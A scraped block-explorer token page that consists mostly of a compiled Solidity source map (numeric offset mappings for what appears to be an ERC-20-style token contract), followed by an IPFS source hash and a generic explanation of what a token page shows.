;;4491:120;;;4578:11;;4590:1;4578:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;4569:7;;4560:39;;2347:25:1;;;-1:-1:-1;;;;;4560:39:0;;;;4569:7;;;;-1:-1:-1;;;;;;;;;;;4560:39:0;2335:2:1;2320:18;4560:39:0;;;;;;;4535:3;;;;:::i;:::-;;;;4491:120;;;;4407:211;;;:::o;2573:103::-;2299:13;:11;:13::i;:::-;2638:30:::1;2665:1;2638:18;:30::i;:::-;2573:103::o:0;3617:104::-;3673:13;3706:7;3699:14;;;;;:::i;4753:193::-;4832:4;1893:10;4888:28;1893:10;4905:2;4909:6;4888:9;:28::i;4118:281::-;4218:9;4213:179;4233:22;;;4213:179;;;4307:11;;4319:1;4307:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4282:40:0;4287:2;-1:-1:-1;;;;;4282:40:0;;4291:3;4296:1;4299;4302:3;4282:40;;;;;;;;4458:25:1;;;4514:2;4499:18;;4492:34;;;;4557:2;4542:18;;4535:34;4600:2;4585:18;;4578:34;4445:3;4430:19;;4211:407;4282:40:0;;;;;;;;4360:11;;4372:1;4360:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;4351:7;;4342:38;;2347:25:1;;;-1:-1:-1;;;;;4342:38:0;;;;4351:7;;;;-1:-1:-1;;;;;;;;;;;4342:38:0;2335:2:1;2320:18;4342:38:0;;;;;;;4257:3;;;;:::i;:::-;;;;4213:179;;4628:119;4729:3;-1:-1:-1;;;;;4713:26:0;4722:5;-1:-1:-1;;;;;4713:26:0;-1:-1:-1;;;;;;;;;;;4734:4:0;4713:26;;;;2347:25:1;;2335:2;2320:18;;2201:177;4713:26:0;;;;;;;;4628:119;;;:::o;5990:189::-;6051:4;6088:42;1893:10;6072:58;6069:80;;;6132:7;:17;;-1:-1:-1;;;;;;6132:17:0;-1:-1:-1;;;;;6132:17:0;;;;;6069:80;-1:-1:-1;6167:4:0;;5990:189;-1:-1:-1;5990:189:0:o;2684:201::-;2299:13;:11;:13::i;:::-;-1:-1:-1;;;;;2773:22:0;::::1;2765:73;;;::::0;-1:-1:-1;;;2765:73:0;;5482:2:1;2765:73:0::1;::::0;::::1;5464:21:1::0;5521:2;5501:18;;;5494:30;5560:34;5540:18;;;5533:62;-1:-1:-1;;;5611:18:1;;;5604:36;5657:19;;2765:73:0::1;;;;;;;;;2849:28;2868:8;2849:18;:28::i;:::-;2684:201:::0;:::o;6602:380::-;-1:-1:-1;;;;;6738:19:0;;6730:68;;;;-1:-1:-1;;;6730:68:0;;5889:2:1;6730:68:0;;;5871:21:1;5928:2;5908:18;;;5901:30;5967:34;5947:18;;;5940:62;-1:-1:-1;;;6018:18:1;;;6011:34;6062:19;;6730:68:0;5687:400:1;6730:68:0;-1:-1:-1;;;;;6817:21:0;;6809:68;;;;-1:-1:-1;;;6809:68:0;;6294:2:1;6809:68:0;;;6276:21:1;6333:2;6313:18;;;6306:30;6372:34;6352:18;;;6345:62;-1:-1:-1;;;6423:18:1;;;6416:32;6465:19;;6809:68:0;6092:398:1;6809:68:0;-1:-1:-1;;;;;6890:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6942:32;;2347:25:1;;;6942:32:0;;2320:18:1;6942:32:0;2201:177:1;7925:453:0;-1:-1:-1;;;;;5070:18:0;;;8060:24;5070:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;8127:37:0;;8123:248;;8209:6;8189:16;:26;;8181:68;;;;-1:-1:-1;;;8181:68:0;;6697:2:1;8181:68:0;;;6679:21:1;6736:2;6716:18;;;6709:30;6775:31;6755:18;;;6748:59;6824:18;;8181:68:0;6495:353:1;8181:68:0;8293:51;8302:5;8309:7;8337:6;8318:16;:25;8293:8;:51::i;6994:923::-;-1:-1:-1;;;;;7125:18:0;;7117:68;;;;-1:-1:-1;;;7117:68:0;;7055:2:1;7117:68:0;;;7037:21:1;7094:2;7074:18;;;7067:30;7133:34;7113:18;;;7106:62;-1:-1:-1;;;7184:18:1;;;7177:35;7229:19;;7117:68:0;6853:401:1;7117:68:0;-1:-1:-1;;;;;7204:16:0;;7196:64;;;;-1:-1:-1;;;7196:64:0;;7461:2:1;7196:64:0;;;7443:21:1;7500:2;7480:18;;;7473:30;7539:34;7519:18;;;7512:62;-1:-1:-1;;;7590:18:1;;;7583:33;7633:19;;7196:64:0;7259:399:1;7196:64:0;7283:7;;-1:-1:-1;;;;;7275:15:0;;;7283:7;;7275:15;;;;:67;;-1:-1:-1;7300:42:0;-1:-1:-1;;;;;7294:48:0;;;7275:67;7274:197;;;-1:-1:-1;7348:7:0;;-1:-1:-1;;;;;7348:13:0;;;:7;;:13;:67;;;;-1:-1:-1;7373:42:0;-1:-1:-1;;;;;7365:50:0;;;;7348:67;:122;;;;-1:-1:-1;7428:42:0;-1:-1:-1;;;;;7419:51:0;;;;7348:122;7271:295;;;7488:14;7505:10;:6;7514:1;7505:10;:::i;:::-;7488:27;;7547:5;;7538:6;:14;7530:24;;;;;;7473:93;7271:295;-1:-1:-1;;;;;7598:15:0;;7576:19;7598:15;;;:9;:15;;;;;;7632:21;;;;7624:72;;;;-1:-1:-1;;;7624:72:0;;7998:2:1;7624:72:0;;;7980:21:1;8037:2;8017:18;;;8010:30;8076:34;8056:18;;;8049:62;-1:-1:-1;;;8127:18:1;;;8120:36;8173:19;;7624:72:0;7796:402:1;7624:72:0;-1:-1:-1;;;;;7732:15:0;;;;;;;:9;:15;;;;;;7750:20;;;7732:38;;7785:13;;;;;;;;;;:23;;;;;;7835:26;;-1:-1:-1;;;;;;;;;;;7835:26:0;;;7764:6;2347:25:1;;2335:2;2320:18;;2201:177;7835:26:0;;;;;;;;7872:37;8388:124;2431:132;2384:7;2411:6;-1:-1:-1;;;;;2411:6:0;1893:10;2495:23;2487:68;;;;-1:-1:-1;;;2487:68:0;;8405:2:1;2487:68:0;;;8387:21:1;;;8424:18;;;8417:30;8483:34;8463:18;;;8456:62;8535:18;;2487:68:0;8203:356:1;2893:191:0;2967:16;2986:6;;-1:-1:-1;;;;;3003:17:0;;;-1:-1:-1;;;;;;3003:17:0;;;;;;3036:40;;2986:6;;;;;;;3036:40;;2967:16;3036:40;2956:128;2893:191;:::o;14:367:1:-;77:8;87:6;141:3;134:4;126:6;122:17;118:27;108:55;;159:1;156;149:12;108:55;-1:-1:-1;182:20:1;;225:18;214:30;;211:50;;;257:1;254;247:12;211:50;294:4;286:6;282:17;270:29;;354:3;347:4;337:6;334:1;330:14;322:6;318:27;314:38;311:47;308:67;;;371:1;368;361:12;308:67;14:367;;;;;:::o;386:173::-;454:20;;-1:-1:-1;;;;;503:31:1;;493:42;;483:70;;549:1;546;539:12;483:70;386:173;;;:::o;564:579::-;668:6;676;684;692;745:2;733:9;724:7;720:23;716:32;713:52;;;761:1;758;751:12;713:52;801:9;788:23;834:18;826:6;823:30;820:50;;;866:1;863;856:12;820:50;905:70;967:7;958:6;947:9;943:22;905:70;:::i;:::-;994:8;;-1:-1:-1;879:96:1;-1:-1:-1;;1076:2:1;1061:18;;1048:32;;-1:-1:-1;1099:38:1;1133:2;1118:18;;1099:38;:::i;:::-;1089:48;;564:579;;;;;;;:::o;1148:597::-;1260:4;1289:2;1318;1307:9;1300:21;1350:6;1344:13;1393:6;1388:2;1377:9;1373:18;1366:34;1418:1;1428:140;1442:6;1439:1;1436:13;1428:140;;;1537:14;;;1533:23;;1527:30;1503:17;;;1522:2;1499:26;1492:66;1457:10;;1428:140;;;1586:6;1583:1;1580:13;1577:91;;;1656:1;1651:2;1642:6;1631:9;1627:22;1623:31;1616:42;1577:91;-1:-1:-1;1729:2:1;1708:15;-1:-1:-1;;1704:29:1;1689:45;;;;1736:2;1685:54;;1148:597;-1:-1:-1;;;1148:597:1:o;1750:254::-;1818:6;1826;1879:2;1867:9;1858:7;1854:23;1850:32;1847:52;;;1895:1;1892;1885:12;1847:52;1918:29;1937:9;1918:29;:::i;:::-;1908:39;1994:2;1979:18;;;;1966:32;;-1:-1:-1;;;1750:254:1:o;2383:328::-;2460:6;2468;2476;2529:2;2517:9;2508:7;2504:23;2500:32;2497:52;;;2545:1;2542;2535:12;2497:52;2568:29;2587:9;2568:29;:::i;:::-;2558:39;;2616:38;2650:2;2639:9;2635:18;2616:38;:::i;:::-;2606:48;;2701:2;2690:9;2686:18;2673:32;2663:42;;2383:328;;;;;:::o;2716:505::-;2811:6;2819;2827;2880:2;2868:9;2859:7;2855:23;2851:32;2848:52;;;2896:1;2893;2886:12;2848:52;2936:9;2923:23;2969:18;2961:6;2958:30;2955:50;;;3001:1;2998;2991:12;2955:50;3040:70;3102:7;3093:6;3082:9;3078:22;3040:70;:::i;:::-;3129:8;;3014:96;;-1:-1:-1;3211:2:1;3196:18;;;;3183:32;;2716:505;-1:-1:-1;;;;2716:505:1:o;3415:186::-;3474:6;3527:2;3515:9;3506:7;3502:23;3498:32;3495:52;;;3543:1;3540;3533:12;3495:52;3566:29;3585:9;3566:29;:::i;:::-;3556:39;3415:186;-1:-1:-1;;;3415:186:1:o;3814:260::-;3882:6;3890;3943:2;3931:9;3922:7;3918:23;3914:32;3911:52;;;3959:1;3956;3949:12;3911:52;3982:29;4001:9;3982:29;:::i;:::-;3972:39;;4030:38;4064:2;4053:9;4049:18;4030:38;:::i;:::-;4020:48;;3814:260;;;;;:::o;4079:127::-;4140:10;4135:3;4131:20;4128:1;4121:31;4171:4;4168:1;4161:15;4195:4;4192:1;4185:15;4623:127;4684:10;4679:3;4675:20;4672:1;4665:31;4715:4;4712:1;4705:15;4739:4;4736:1;4729:15;4755:135;4794:3;-1:-1:-1;;4815:17:1;;4812:43;;;4835:18;;:::i;:::-;-1:-1:-1;4882:1:1;4871:13;;4755:135::o;4895:380::-;4974:1;4970:12;;;;5017;;;5038:61;;5092:4;5084:6;5080:17;5070:27;;5038:61;5145:2;5137:6;5134:14;5114:18;5111:38;5108:161;;;5191:10;5186:3;5182:20;5179:1;5172:31;5226:4;5223:1;5216:15;5254:4;5251:1;5244:15;5108:161;;4895:380;;;:::o;7663:128::-;7703:3;7734:1;7730:6;7727:1;7724:13;7721:39;;;7740:18;;:::i;:::-;-1:-1:-1;7776:9:1;;7663:128::o

Swarm Source

ipfs://0f21db0dff2ef235d1328810f3d662b4a6b8668cbde986c15e125fe1c8ee75dd
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.